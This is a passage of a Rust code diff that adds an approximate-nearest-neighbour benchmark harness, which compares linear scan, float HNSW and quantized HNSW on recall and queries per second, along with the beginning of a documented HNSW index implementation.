+    // Multi-bit quant HNSW (ADR-261 §11): 2-bit and 4-bit traversal codes at a
+    // mid beam width, so the criterion medians show the per-bit QPS cost the
+    // scaling study reports against recall.
+    for (label, idx) in [("2bit", &quant_2bit), ("4bit", &quant_4bit)] {
+        for &ef in &[64usize, 128] {
+            let rr = k * 5;
+            group.bench_function(format!("quant_hnsw_{label}_ef{ef}_rr{rr}"), |b| {
+                b.iter(|| {
+                    let mut sink = 0u64;
+                    for q in &qs {
+                        sink = sink
+                            .wrapping_add(idx.search_quantized(black_box(q), k, ef, rr).len() as u64);
+                    }
+                    black_box(sink)
+                })
+            });
+        }
+    }
+
+    group.finish();
+}
+
+criterion_group!(benches, bench_ann);
+criterion_main!(benches);

v2/crates/wifi-densepose-ruvector/src/ann_measure.rs

@@ -0,0 +1,684 @@
+//! Deterministic, `--no-default-features`-runnable **ANN benchmark measurement**
+//! for ADR-261 — the single source of truth for the QPS/recall numbers the ADR
+//! quotes for **linear scan**, **float HNSW**, and **quantized HNSW**.
+//!
+//! Both the criterion bench (`benches/ann_bench.rs`) and the in-crate report test
+//! ([`tests::ann_bench_report`]) call into here, so they can never silently
+//! measure different things. The numbers in ADR-261 §6 come from running:
+//!
+//! ```text
+//! cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --release \
+//!   ann_bench_report -- --nocapture
+//! ```
+//!
+//! # What is measured, and the honesty contract
+//!
+//! On one fixed planted-cluster fixture (documented dim/N/K/seed), for each
+//! method we measure:
+//! - **recall@10** vs the brute-force exact top-10 (the ground truth),
+//! - **QPS** = queries / total wall-clock query time (warm; build excluded),
+//! at matched recall operating points found by sweeping `ef` (HNSW) and
+//! `(ef, rerank)` (quantized).
+//!
+//! The reported **ratio** is the claim, not the absolute QPS (which is
+//! machine-specific). We do **not** tune the quantized path to manufacture a
+//! win: if at our scale quantized does not beat float HNSW, the report says so
+//! and the ADR records the honest negative + the expected larger-N crossover.
+
+use std::collections::HashSet;
+use std::time::Instant;
+
+use crate::hnsw::{HnswIndex, HnswParams, Metric};
+use crate::hnsw_quantized::QuantizedHnswIndex;
+
+/// SplitMix64 — the crate-wide deterministic PRNG (mirrors `coverage.rs`).
+#[inline]
+fn split_mix64(state: &mut u64) -> u64 {
+    *state = state.wrapping_add(0x9E37_79B9_7F4A_7C15);
+    let mut z = *state;
+    z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9);
+    z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB);
+    z ^ (z >> 31)
+}
+#[inline]
+fn unif01(state: &mut u64) -> f32 {
+    ((split_mix64(state) >> 40) as f32) / ((1u64 << 24) as f32)
+}
+#[inline]
+fn gauss(state: &mut u64) -> f32 {
+    let u1 = unif01(state).max(1e-7);
+    let u2 = unif01(state);
+    (-2.0 * u1.ln()).sqrt() * (std::f32::consts::TAU * u2).cos()
+}
+
+/// ANN benchmark fixture parameters, documented in the ADR-261 report.
+#[derive(Debug, Clone, Copy)]
+pub struct AnnBenchParams {
+    /// Embedding dimension.
+    pub dim: usize,
+    /// Number of indexed vectors (N).
+    pub n: usize,
+    /// Number of planted clusters (near-neighbour structure).
+    pub clusters: usize,
+    /// Number of queries timed.
+    pub n_queries: usize,
+    /// Top-K.
+    pub k: usize,
+    /// Intra-cluster Gaussian jitter.
+    pub noise: f32,
+    /// Master fixture seed.
+    pub seed: u64,
+    /// Graph construction/level seed.
+    pub graph_seed: u64,
+    /// Rotation seed for the quantized 1-bit codes.
+    pub rot_seed: u64,
+}
+
+impl AnnBenchParams {
+    /// The default ADR-261 fixture: AETHER-shape 128-d, planted clusters.
+    pub fn default_fixture(n: usize) -> Self {
+        Self {
+            dim: 128,
+            n,
+            clusters: 64,
+            n_queries: 200,
+            k: 10,
+            noise: 0.35,
+            seed: 0xADADADAD_0000_0261,
+            graph_seed: 0x6261_5247_4148_4E53,
+            rot_seed: 0x5EED_C0DE_1234_5678,
+        }
+    }
+}
+
+/// The fixture vectors for `p` (deterministic planted clusters).
+pub fn fixture(p: AnnBenchParams) -> Vec<Vec<f32>> {
+    let centres: Vec<Vec<f32>> = (0..p.clusters)
+        .map(|c| {
+            let mut s = p.seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
+            (0..p.dim).map(|_| gauss(&mut s) * 3.0).collect()
+        })
+        .collect();
+    (0..p.n)
+        .map(|i| {
+            let c = i % p.clusters;
+            let mut s = p.seed ^ (i as u64).wrapping_mul(0x9E37);
+            (0..p.dim)
+                .map(|d| centres[c][d] + gauss(&mut s) * p.noise)
+                .collect()
+        })
+        .collect()
+}
+
+/// The timed query set for `p` (drawn from the same clusters, disjoint seed).
+pub fn queries(p: AnnBenchParams) -> Vec<Vec<f32>> {
+    let centres: Vec<Vec<f32>> = (0..p.clusters)
+        .map(|c| {
+            let mut s = p.seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
+            (0..p.dim).map(|_| gauss(&mut s) * 3.0).collect()
+        })
+        .collect();
+    (0..p.n_queries)
+        .map(|q| {
+            let c = q % p.clusters;
+            let mut s = p.seed ^ 0xDEAD_0000_0000 ^ (q as u64).wrapping_mul(0x2545_F491);
+            (0..p.dim)
+                .map(|d| centres[c][d] + gauss(&mut s) * p.noise)
+                .collect()
+        })
+        .collect()
+}
+
+/// Per-method measurement: recall@K and QPS.
+#[derive(Debug, Clone, Copy)]
+pub struct MethodResult {
+    /// Mean recall@K vs brute-force ground truth.
+    pub recall: f64,
+    /// Queries per second (warm wall-clock).
+    pub qps: f64,
+    /// Mean query latency in microseconds.
+    pub latency_us: f64,
+}
+
+/// Ground-truth brute-force top-K id sets for every query (computed once).
+/// Public so the criterion bench and the report test share one definition.
+pub fn ground_truth(idx: &HnswIndex, queries: &[Vec<f32>], k: usize) -> Vec<HashSet<u32>> {
+    queries
+        .iter()
+        .map(|q| idx.brute_force(q, k).into_iter().map(|(id, _)| id).collect())
+        .collect()
+}
+
+/// Measure **linear scan** (brute force): recall is 1.0 by definition; QPS is the
+/// timed exact scan. This is the no-index baseline.
+pub fn measure_linear(
+    idx: &HnswIndex,
+    queries: &[Vec<f32>],
+    truth: &[HashSet<u32>],
+    k: usize,
+) -> MethodResult {
+    let mut recall_acc = 0.0f64;
+    let start = Instant::now();
+    let mut sink = 0u64;
+    for (qi, q) in queries.iter().enumerate() {
+        let got = idx.brute_force(q, k);
+        let hit = got.iter().filter(|(id, _)| truth[qi].contains(id)).count();
+        recall_acc += hit as f64 / k as f64;
+        sink = sink.wrapping_add(got.len() as u64);
+    }
+    let elapsed = start.elapsed().as_secs_f64();
+    std::hint::black_box(sink);
+    MethodResult {
+        recall: recall_acc / queries.len() as f64,
+        qps: queries.len() as f64 / elapsed,
+        latency_us: elapsed / queries.len() as f64 * 1e6,
+    }
+}
+
+/// Measure **float HNSW** at a given beam width `ef`.
+pub fn measure_float_hnsw(
+    idx: &HnswIndex,
+    queries: &[Vec<f32>],
+    truth: &[HashSet<u32>],
+    k: usize,
+    ef: usize,
+) -> MethodResult {
+    let mut recall_acc = 0.0f64;
+    let start = Instant::now();
+    let mut sink = 0u64;
+    for (qi, q) in queries.iter().enumerate() {
+        let got = idx.search(q, k, ef);
+        let hit = got.iter().filter(|(id, _)| truth[qi].contains(id)).count();
+        recall_acc += hit as f64 / k as f64;
+        sink = sink.wrapping_add(got.len() as u64);
+    }
+    let elapsed = start.elapsed().as_secs_f64();
+    std::hint::black_box(sink);
+    MethodResult {
+        recall: recall_acc / queries.len() as f64,
+        qps: queries.len() as f64 / elapsed,
+        latency_us: elapsed / queries.len() as f64 * 1e6,
+    }
+}
+
+/// Measure **quantized HNSW** at a given `(ef, rerank)`.
+pub fn measure_quantized_hnsw(
+    qidx: &QuantizedHnswIndex,
+    queries: &[Vec<f32>],
+    truth: &[HashSet<u32>],
+    k: usize,
+    ef: usize,
+    rerank: usize,
+) -> MethodResult {
+    let mut recall_acc = 0.0f64;
+    let start = Instant::now();
+    let mut sink = 0u64;
+    for (qi, q) in queries.iter().enumerate() {
+        let got = qidx.search_quantized(q, k, ef, rerank);
+        let hit = got.iter().filter(|(id, _)| truth[qi].contains(id)).count();
+        recall_acc += hit as f64 / k as f64;
+        sink = sink.wrapping_add(got.len() as u64);
+    }
+    let elapsed = start.elapsed().as_secs_f64();
+    std::hint::black_box(sink);
+    MethodResult {
+        recall: recall_acc / queries.len() as f64,
+        qps: queries.len() as f64 / elapsed,
+        latency_us: elapsed / queries.len() as f64 * 1e6,
+    }
+}
+
+/// Build both indices for `p` (shared insertion order + graph seed so the float
+/// and quantized graphs are identical — the only variable is scoring). The
+/// quantized index uses the legacy **1-bit** code (ADR-261 §6); use
+/// [`build_indices_bits`] for the multi-bit scaling study (§11).
+pub fn build_indices(p: AnnBenchParams) -> (HnswIndex, QuantizedHnswIndex, Vec<Vec<f32>>) {
+    build_indices_bits(p, 1)
+}
+
+/// Build the float HNSW + a `bits`-bit quantized HNSW over the same fixture,
+/// sharing the graph seed and insertion order so the *only* variable between the
+/// float and quantized search is the traversal score. `bits ∈ {1, 2, 4}` (clamped
+/// in [`QuantizedHnswIndex::build_bits`]). The float index is **independent of
+/// `bits`** — callers sweeping `bits` should build the float index once and reuse
+/// it (the quantized graph is identical across `bits`; only the per-node code
+/// changes).
+pub fn build_indices_bits(
+    p: AnnBenchParams,
+    bits: u32,
+) -> (HnswIndex, QuantizedHnswIndex, Vec<Vec<f32>>) {
+    let vectors = fixture(p);
+    let params = HnswParams {
+        m: 16,
+        ef_construction: 200,
+        ef_search: 64,
+        seed: p.graph_seed,
+    };
+    let mut float_idx = HnswIndex::new(p.dim, Metric::L2, params);
+    for v in &vectors {
+        float_idx.insert(v);
+    }
+    let quant_idx = QuantizedHnswIndex::build_bits(
+        &vectors,
+        p.dim,
+        Metric::L2,
+        params,
+        p.rot_seed,
+        bits,
+        p.k * 4,
+    );
+    (float_idx, quant_idx, vectors)
+}
+
+/// Build only the `bits`-bit quantized index for `p`, reusing a fixture the
+/// caller already has (avoids regenerating `N×dim` floats per bit-depth in the
+/// scaling sweep). The graph seed/insertion order match [`build_indices_bits`],
+/// so this quantized graph is identical to that one's at the same `p`.
+pub fn build_quant_bits(p: AnnBenchParams, vectors: &[Vec<f32>], bits: u32) -> QuantizedHnswIndex {
+    let params = HnswParams {
+        m: 16,
+        ef_construction: 200,
+        ef_search: 64,
+        seed: p.graph_seed,
+    };
+    QuantizedHnswIndex::build_bits(vectors, p.dim, Metric::L2, params, p.rot_seed, bits, p.k * 4)
+}
+
+/// The fastest operating point of a method that meets `target` recall, as
+/// `(qps, recall, label)`; `None` if no swept op met it.
+type BestOp = Option<(f64, f64, String)>;
+
+/// Sweep float HNSW over a fixed `ef` ladder; return the fastest op meeting
+/// `target` recall.
+pub fn best_float_op(
+    idx: &HnswIndex,
+    qs: &[Vec<f32>],
+    truth: &[HashSet<u32>],
+    k: usize,
+    target: f64,
+) -> BestOp {
+    let mut best: BestOp = None;
+    for &ef in &[16usize, 32, 64, 128, 256] {
+        let r = measure_float_hnsw(idx, qs, truth, k, ef);
+        if r.recall >= target && best.as_ref().map(|b| r.qps > b.0).unwrap_or(true) {
+            best = Some((r.qps, r.recall, format!("ef={ef}")));
+        }
+    }
+    best
+}
+
+/// Sweep quant HNSW over a fixed `(ef, rerank)` ladder; return the fastest op
+/// meeting `target` recall, plus the best recall reached anywhere on the ladder
+/// (so a not-found verdict can report how close it got).
+pub fn best_quant_op(
+    qidx: &QuantizedHnswIndex,
+    qs: &[Vec<f32>],
+    truth: &[HashSet<u32>],
+    k: usize,
+    target: f64,
+) -> (BestOp, f64) {
+    let mut best: BestOp = None;
+    let mut best_recall_seen = 0.0f64;
+    for &ef in &[32usize, 64, 128, 256, 512] {
+        for &rr in &[k * 2, k * 5, k * 10, k * 20] {
+            let r = measure_quantized_hnsw(qidx, qs, truth, k, ef, rr);
+            best_recall_seen = best_recall_seen.max(r.recall);
+            if r.recall >= target && best.as_ref().map(|b| r.qps > b.0).unwrap_or(true) {
+                best = Some((r.qps, r.recall, format!("ef={ef} rr={rr}")));
+            }
+        }
+    }
+    (best, best_recall_seen)
+}
+
+/// One row of the ADR-261 §11 scaling study: at a fixed `(N, b)`, the equal-recall
+/// (≥ `target`) operating points for float vs quant HNSW and their QPS ratio.
+#[derive(Debug, Clone)]
+pub struct ScalingRow {
+    /// Indexed vector count.
+    pub n: usize,
+    /// Traversal-code bit-depth (1, 2, or 4).
+    pub bits: u32,
+    /// Packed bytes per node of the quant code at this `b`.
+    pub bytes_per_node: usize,
+    /// Fastest float-HNSW op meeting `target` recall (qps, recall, label).
+    pub float_op: BestOp,
+    /// Fastest quant-HNSW op meeting `target` recall (qps, recall, label).
+    pub quant_op: BestOp,
+    /// Best recall the quant ladder reached at this `(N, b)` (≤ `target` ⇒ no op).
+    pub quant_best_recall: f64,
+    /// quant/float QPS ratio at equal recall, if both met `target`.
+    pub ratio: Option<f64>,
+}
+
+/// Run the ADR-261 §11 multi-bit scaling study: for each `N ∈ ns` and each
+/// `b ∈ bits_set`, measure the equal-recall (≥ `target`) QPS ratio of quant-HNSW
+/// vs float-HNSW on the shared fixture. Deterministic and `--no-default-features`
+/// runnable. Returns one [`ScalingRow`] per `(N, b)`; the caller prints the table
+/// and decides the crossover verdict. The float index is built once per `N` and
+/// reused across `b` (the quant graph is identical across `b`).
+pub fn run_scaling_study(
+    base: AnnBenchParams,
+    ns: &[usize],
+    bits_set: &[u32],
+    target: f64,
+) -> Vec<ScalingRow> {
+    let mut rows = Vec::new();
+    for &n in ns {
+        let p = AnnBenchParams { n, ..base };
+        let (float_idx, _q1, vectors) = build_indices_bits(p, 1);
+        let qs = queries(p);
+        let truth = ground_truth(&float_idx, &qs, p.k);
+        let float_op = best_float_op(&float_idx, &qs, &truth, p.k, target);
+        for &b in bits_set {
+            let qidx = build_quant_bits(p, &vectors, b);
+            let (quant_op, quant_best_recall) =
+                best_quant_op(&qidx, &qs, &truth, p.k, target);
+            let ratio = match (&float_op, &quant_op) {
+                (Some((fqps, _, _)), Some((qqps, _, _))) => Some(qqps / fqps),
+                _ => None,
+            };
+            rows.push(ScalingRow {
+                n,
+                bits: qidx.bits(),
+                bytes_per_node: qidx.bytes_per_node(),
+                float_op: float_op.clone(),
+                quant_op,
+                quant_best_recall,
+                ratio,
+            });
+        }
+    }
+    rows
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn fixture_and_queries_are_deterministic() {
+        let p = AnnBenchParams::default_fixture(500);
+        assert_eq!(fixture(p), fixture(p));
+        assert_eq!(queries(p), queries(p));
+        let p2 = AnnBenchParams {
+            seed: p.seed ^ 1,
+            ..p
+        };
+        assert_ne!(fixture(p)[0], fixture(p2)[0]);
+    }
+
+    #[test]
+    fn linear_recall_is_one() {
+        // Linear scan IS the ground truth, so recall must be exactly 1.0.
+        let p = AnnBenchParams::default_fixture(800);
+        let (float_idx, _q, _v) = build_indices(p);
+        let qs = queries(p);
+        let truth = ground_truth(&float_idx, &qs, p.k);
+        let r = measure_linear(&float_idx, &qs, &truth, p.k);
+        assert!((r.recall - 1.0).abs() < 1e-9, "linear recall {} != 1.0", r.recall);
+        assert!(r.qps > 0.0);
+    }
+
+    /// The ADR-261 measurement report. Prints the linear / float-HNSW /
+    /// quantized-HNSW recall@10 + QPS table and the QPS ratios at matched recall.
+    /// Run with `--release --nocapture` for the numbers the ADR quotes.
+    #[test]
+    fn ann_bench_report() {
+        // N here is the small/CI-friendly default so the standard (debug) test
+        // gate stays fast; the ADR's headline numbers are taken at the larger N
+        // under --release (documented in the ADR with the exact command). This
+        // test asserts only structural invariants so it is gate-safe at any N.
+        let n: usize = std::env::var("ANN_BENCH_N")
+            .ok()
+            .and_then(|s| s.parse().ok())
+            .unwrap_or(10_000);
+        let p = AnnBenchParams::default_fixture(n);
+        let (float_idx, quant_idx, _v) = build_indices(p);
+        let qs = queries(p);
+        let truth = ground_truth(&float_idx, &qs, p.k);
+
+        println!("\n=== ADR-261 ANN benchmark (planted-cluster synthetic) ===");
+        println!(
+            "dim={} N={} clusters={} queries={} K={} noise={} graph_seed=0x{:X} rot_seed=0x{:X}",
+            p.dim, p.n, p.clusters, p.n_queries, p.k, p.noise, p.graph_seed, p.rot_seed
+        );
+        println!("metric=L2  M=16 ef_construction=200  (debug build unless --release)");
+        println!(
+            "{:<28} {:>9} {:>12} {:>12}",
+            "method", "recall@10", "QPS", "lat(us)"
+        );
+
+        let lin = measure_linear(&float_idx, &qs, &truth, p.k);
+        println!(
+            "{:<28} {:>8.4} {:>12.1} {:>12.1}",
+            "linear scan (brute)", lin.recall, lin.qps, lin.latency_us
+        );
+
+        // Float HNSW across an ef sweep.
+        let mut float_ops: Vec<(usize, MethodResult)> = Vec::new();
+        for &ef in &[16usize, 32, 64, 128, 256] {
+            let r = measure_float_hnsw(&float_idx, &qs, &truth, p.k, ef);
+            println!(
+                "{:<28} {:>8.4} {:>12.1} {:>12.1}",
+                format!("float-HNSW ef={ef}"),
+                r.recall,
+                r.qps,
+                r.latency_us
+            );
+            float_ops.push((ef, r));
+        }
+
+        // Quantized HNSW across (ef, rerank) sweep.
+        let mut quant_ops: Vec<((usize, usize), MethodResult)> = Vec::new();
+        for &ef in &[32usize, 64, 128, 256] {
+            for &rr in &[p.k * 2, p.k * 5, p.k * 10] {
+                let r = measure_quantized_hnsw(&quant_idx, &qs, &truth, p.k, ef, rr);
+                println!(
+                    "{:<28} {:>8.4} {:>12.1} {:>12.1}",
+                    format!("quant-HNSW ef={ef} rr={rr}"),
+                    r.recall,
+                    r.qps,
+                    r.latency_us
+                );
+                quant_ops.push(((ef, rr), r));
+            }
+        }
+
+        // Equal-recall comparison: pick, for a target recall, the FASTEST op of
+        // each method that meets it, then report the QPS ratios.
+        println!("\n--- equal-recall QPS ratios ---");
+        for &target in &[0.90f64, 0.95, 0.99] {
+            let best_float = float_ops
+                .iter()
+                .filter(|(_, r)| r.recall >= target)
+                .max_by(|a, b| a.1.qps.partial_cmp(&b.1.qps).unwrap());
+            let best_quant = quant_ops
+                .iter()
+                .filter(|(_, r)| r.recall >= target)
+                .max_by(|a, b| a.1.qps.partial_cmp(&b.1.qps).unwrap());
+            match (best_float, best_quant) {
+                (Some((fef, fr)), Some(((qef, qrr), qr))) => {
+                    let ratio = qr.qps / fr.qps;
+                    let hnsw_vs_lin = fr.qps / lin.qps;
+                    println!(
+                        "recall>={:.2}: float ef={} {:.0} QPS | quant ef={} rr={} {:.0} QPS | quant/float={:.2}x | float/linear={:.2}x",
+                        target, fef, fr.qps, qef, qrr, qr.qps, ratio, hnsw_vs_lin
+                    );
+                }
+                (Some((fef, fr)), None) => {
+                    let hnsw_vs_lin = fr.qps / lin.qps;
+                    println!(
+                        "recall>={:.2}: float ef={} {:.0} QPS | quant: NO op met this recall | float/linear={:.2}x",
+                        target, fef, fr.qps, hnsw_vs_lin
+                    );
+                }
+                _ => {
+                    println!("recall>={:.2}: neither method met this recall at the swept ops", target);
+                }
+            }
+        }
+        println!("=========================================================\n");
+
+        // Structural assertions (gate-safe, any N):
+        // - linear scan is exact,
+        // - the best float-HNSW op clears the correctness gate,
+        // - quantized's best op is at least useful (recall well above random).
+        assert!((lin.recall - 1.0).abs() < 1e-9);
+        let best_float_recall = float_ops.iter().map(|(_, r)| r.recall).fold(0.0, f64::max);
+        assert!(
+            best_float_recall >= 0.95,
+            "best float-HNSW recall {best_float_recall:.4} below 0.95 gate"
+        );
+        let best_quant_recall = quant_ops.iter().map(|(_, r)| r.recall).fold(0.0, f64::max);
+        // Honest floor: the 1-bit Hamming traversal is a COARSE angle proxy, so
+        // at large N its best recall lands well below the float gate (MEASURED
+        // ~0.74 at N=10k — see ADR-261 §6). We assert only that it is clearly
+        // useful (>> random: random top-10 of N=10k is ~0.001), which catches a
+        // fully-broken traversal/rerank without pretending the quantized variant
+        // matches float HNSW. The honest negative IS the result.
+        assert!(
+            best_quant_recall >= 0.30,
+            "best quant-HNSW recall {best_quant_recall:.4} below the 0.30 not-broken floor"
+        );
+    }
+
+    /// The ADR-261 §11 **multi-bit scaling study**. Sweeps `N` and `b ∈ {1,2,4}`,
+    /// printing the `(N, b) → recall / QPS / quant-vs-float ratio at equal recall`
+    /// surface and the crossover verdict. This is the source of truth for the §11
+    /// table. Run for the published numbers with:
+    ///
+    /// ```text
+    /// cd v2 && ANN_SCALE_NS=10000,100000,250000 \
+    ///   cargo test -p wifi-densepose-ruvector --no-default-features --release \
+    ///   scaling_report -- --nocapture --ignored
+    /// ```
+    ///
+    /// Marked `#[ignore]` so the default (debug) gate stays fast: it builds and
+    /// queries several indices up to large `N`, which is minutes under `--release`
+    /// and far too slow in debug. The CI-safe structural invariants are checked by
+    /// `scaling_study_small_is_consistent` below at tiny `N`.
+    #[test]
+    #[ignore = "scaling study — run explicitly with --release --ignored; minutes at large N"]
+    fn scaling_report() {
+        // N ladder: default 10k→100k→250k (a clean 25× span that builds+queries in
+        // a few minutes under --release on the test box). Override with
+        // ANN_SCALE_NS=a,b,c. The largest feasible N is documented in the ADR with
+        // the measured build/query time at the cap.
+        let ns: Vec<usize> = std::env::var("ANN_SCALE_NS")
+            .ok()
+            .map(|s| s.split(',').filter_map(|x| x.trim().parse().ok()).collect())
+            .unwrap_or_else(|| vec![10_000, 100_000, 250_000]);
+        let bits_set = [1u32, 2, 4];
+        let target = 0.90f64;
+        let base = AnnBenchParams::default_fixture(ns[0]);
+
+        println!("\n=== ADR-261 §11 multi-bit scaling study (planted-cluster synthetic) ===");
+        println!(
+            "dim={} clusters={} queries={} K={} noise={} graph_seed=0x{:X} rot_seed=0x{:X}",
+            base.dim, base.clusters, base.n_queries, base.k, base.noise, base.graph_seed, base.rot_seed
+        );
+        println!("metric=L2  M=16 ef_construction=200  target recall >= {target:.2}  (use --release for QPS)");
+        println!(
+            "{:<9} {:>4} {:>9} {:>10} {:>22} {:>22} {:>12}",
+            "N", "bits", "B/node", "q_best_rec", "float@target", "quant@target", "quant/float"
+        );
+
+        let rows = run_scaling_study(base, &ns, &bits_set, target);
+        for row in &rows {
+            let float_s = row
+                .float_op
+                .as_ref()
+                .map(|(q, r, l)| format!("{l} {q:.0}QPS r={r:.3}"))
+                .unwrap_or_else(|| "none".to_string());
+            let quant_s = row
+                .quant_op
+                .as_ref()
+                .map(|(q, r, l)| format!("{l} {q:.0}QPS r={r:.3}"))
+                .unwrap_or_else(|| "none".to_string());
+            let ratio_s = row
+                .ratio
+                .map(|x| format!("{x:.2}x"))
+                .unwrap_or_else(|| "—".to_string());
+            println!(
+                "{:<9} {:>4} {:>9} {:>10.3} {:>22} {:>22} {:>12}",
+                row.n, row.bits, row.bytes_per_node, row.quant_best_recall, float_s, quant_s, ratio_s
+            );
+        }
+
+        // Crossover verdict: report whether the quant/float ratio EVER exceeds 1.0
+        // at equal recall, and the per-bit trend of the best-quant-recall as N grows
+        // (is quant getting closer to the equal-recall regime, or not).
+        println!("\n--- crossover verdict (quant-HNSW > float-HNSW at equal recall?) ---");
+        let crossover: Vec<&ScalingRow> = rows
+            .iter()
+            .filter(|r| r.ratio.map(|x| x > 1.0).unwrap_or(false))
+            .collect();
+        if crossover.is_empty() {
+            println!("NO crossover at any measured (N, b): quant never met target recall AND beat float QPS.");
+        } else {
+            for r in &crossover {
+                println!(
+                    "CROSSOVER at N={} b={}: quant/float = {:.2}x at recall >= {target:.2}",
+                    r.n, r.bits, r.ratio.unwrap()
+                );
+            }
+        }
+        for &b in &bits_set {
+            let trend: Vec<(usize, f64)> = rows
+                .iter()
+                .filter(|r| r.bits == b)
+                .map(|r| (r.n, r.quant_best_recall))
+                .collect();
+            let trend_s: Vec<String> = trend
+                .iter()
+                .map(|(n, r)| format!("N={n}:{r:.3}"))
+                .collect();
+            println!("b={b} best-quant-recall trend: {}", trend_s.join("  "));
+        }
+        println!("======================================================================\n");
+
+        // Structural invariants (gate-safe at any N): at least one float op met
+        // target at every N (the baseline must work), and quant recall is in range.
+        for &n in &ns {
+            let any_float = rows.iter().any(|r| r.n == n && r.float_op.is_some());
+            assert!(any_float, "no float-HNSW op met target recall at N={n} — baseline broken");
+        }
+        for r in &rows {
+            assert!(
+                (0.0..=1.0).contains(&r.quant_best_recall),
+                "quant recall out of range at N={} b={}: {}",
+                r.n,
+                r.bits,
+                r.quant_best_recall
+            );
+        }
+    }
+
+    /// CI-safe structural check for the scaling study at tiny `N` (debug-fast):
+    /// the study runs end-to-end, bytes/node scales with `b`, and the float
+    /// baseline meets target at the smallest N. Does **not** assert any crossover
+    /// (that is the §11 measured question, answered by `scaling_report`).
+    #[test]
+    fn scaling_study_small_is_consistent() {
+        let base = AnnBenchParams::default_fixture(1500);
+        let ns = [1500usize, 3000];
+        let bits_set = [1u32, 2, 4];
+        let rows = run_scaling_study(base, &ns, &bits_set, 0.90);
+        assert_eq!(rows.len(), ns.len() * bits_set.len());
+        // Bytes/node scales with b at dim=128 (D=128): 16 / 32 / 64.
+        for r in rows.iter().filter(|r| r.n == 1500) {
+            let expect = match r.bits {
+                1 => 16,
+                2 => 32,
+                _ => 64,
+            };
+            assert_eq!(r.bytes_per_node, expect, "B/node wrong for b={}", r.bits);
+        }
+        // Float baseline must meet target at the smallest N.
+        assert!(
+            rows.iter().any(|r| r.n == 1500 && r.float_op.is_some()),
+            "float baseline failed target at small N"
+        );
+    }
+}

v2/crates/wifi-densepose-ruvector/src/hnsw.rs

@@ -0,0 +1,826 @@
+//! A correct, dependency-free **float HNSW** graph-ANN index — ADR-261.
+//!
+//! # Why this exists
+//!
+//! The ruvector crate's retrieval path (AETHER re-ID hot-cache, the `sketch.rs`
+//! 1-bit prefilter, room fingerprinting) is, at its core, an **approximate
+//! nearest-neighbour** problem: dense float embedding in, top-K similar ids out.
+//! Until now the crate had **no graph index** — every `topk` was a linear scan
+//! (`O(N·d)` per query) or a 1-bit Hamming prefilter over a linear scan. That is
+//! fine at the small N the unit fixtures use, but it is `O(N)` per query and does
+//! not scale.
+//!
+//! [ADR-156 §5 #1](../../../../../docs/adr/ADR-156-ruvector-fusion-beyond-sota.md)
+//! lists **SymphonyQG** (SIGMOD 2025) as the lead beyond-SOTA ANN candidate,
+//! claiming **3.5–17× QPS over HNSW at equal recall** — but graded that claim
+//! **CLAIMED**, *"not reproduced on our hardware (no HNSW baseline exists to
+//! compare against)."* You cannot measure a ratio against a baseline you do not
+//! have. This module **builds that missing HNSW baseline**; [`crate::hnsw_quantized`]
+//! builds the quantized-rerank variant that tests the *direction* of the
+//! SymphonyQG bet. ADR-261 reports the **measured** ratio.
+//!
+//! # The algorithm (Malkov & Yashunin, TPAMI 2018)
+//!
+//! HNSW = a multi-layer navigable small-world graph. Each inserted point gets a
+//! random **level** `ℓ` (geometrically distributed, mean `1/ln(M)`); it appears
+//! in all layers `0..=ℓ`. Layer 0 holds every point; higher layers are
+//! exponentially sparser "express lanes". A search:
+//!
+//! 1. Enters at the top layer's single entry point.
+//! 2. **Greedy-descends** each layer above 0: repeatedly hop to the neighbour
+//!    closest to the query until no neighbour is closer, then drop a layer.
+//! 3. At layer 0, runs a **best-first beam search** with beam width `ef`,
+//!    keeping the `ef` closest candidates seen, and returns the closest `k`.
+//!
+//! Construction inserts each point by searching for its `ef_construction`
+//! nearest existing neighbours at each of its layers, then connecting it to a
+//! pruned subset chosen by the **neighbour-selection heuristic** (Algorithm 4 in
+//! the paper): prefer neighbours that are closer to the new point than to any
+//! already-selected neighbour, which keeps the graph navigable (diverse edges)
+//! instead of clumping all edges toward one cluster.
+//!
+//! # Determinism (the proof contract)
+//!
+//! Level assignment is the only randomness, and it is driven by a **seeded
+//! SplitMix64** PRNG (the exact pattern from [`crate::rotation`]) — never
+//! `Date::now`, an OS RNG, or `rand` without a seed. Two indices built from the
+//! same `(seed, params, insertion order)` are bit-identical, pinned by
+//! [`tests::hnsw_is_deterministic_for_seed`]. This matters for reproducible
+//! benchmarks: the recall/QPS numbers in ADR-261 must be regenerable.
+//!
+//! # Robustness (no panic on degenerate input)
+//!
+//! Empty index, `k > n`, `k == 0`, a single node, zero-dimension vectors,
+//! ragged-length queries, and `ef < k` are all handled without panicking —
+//! pinned by the `*_no_panic` / degenerate tests. Graph traversal is bounded by
+//! the visited-set and the candidate beam, so there is no unbounded recursion
+//! (the search is iterative, using explicit heaps).
+
+use std::cmp::Ordering;
+use std::collections::{BinaryHeap, HashSet};
+
+/// Distance metric for the index. Both are computed over `Vec<f32>` with an
+/// `f64` accumulator for numerical stability on long vectors.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum Metric {
+    /// Squared euclidean distance `Σ (a_i − b_i)²`. Monotone in euclidean
+    /// distance, so top-K ranking is identical; we skip the sqrt.
+    L2,
+    /// Cosine **distance** `1 − cos(a, b)`. Smaller = more similar. This is
+    /// AETHER's actual angular metric and what the `sketch.rs` sign code
+    /// approximates, so it is the default for ruvector re-ID.
+    Cosine,
+}
+
+impl Metric {
+    /// Distance between two equal-length slices under this metric.
+    ///
+    /// Ragged lengths are handled charitably (compared over the shorter prefix);
+    /// a degenerate (zero-norm) cosine input yields the maximum cosine distance
+    /// `1.0` rather than a NaN. Never panics.
+    #[inline]
+    pub fn distance(self, a: &[f32], b: &[f32]) -> f32 {
+        let n = a.len().min(b.len());
+        match self {
+            Metric::L2 => {
+                let mut acc = 0.0f64;
+                for i in 0..n {
+                    let d = a[i] as f64 - b[i] as f64;
+                    acc += d * d;
+                }
+                acc as f32
+            }
+            Metric::Cosine => {
+                let mut dot = 0.0f64;
+                let mut na = 0.0f64;
+                let mut nb = 0.0f64;
+                for i in 0..n {
+                    let (x, y) = (a[i] as f64, b[i] as f64);
+                    dot += x * y;
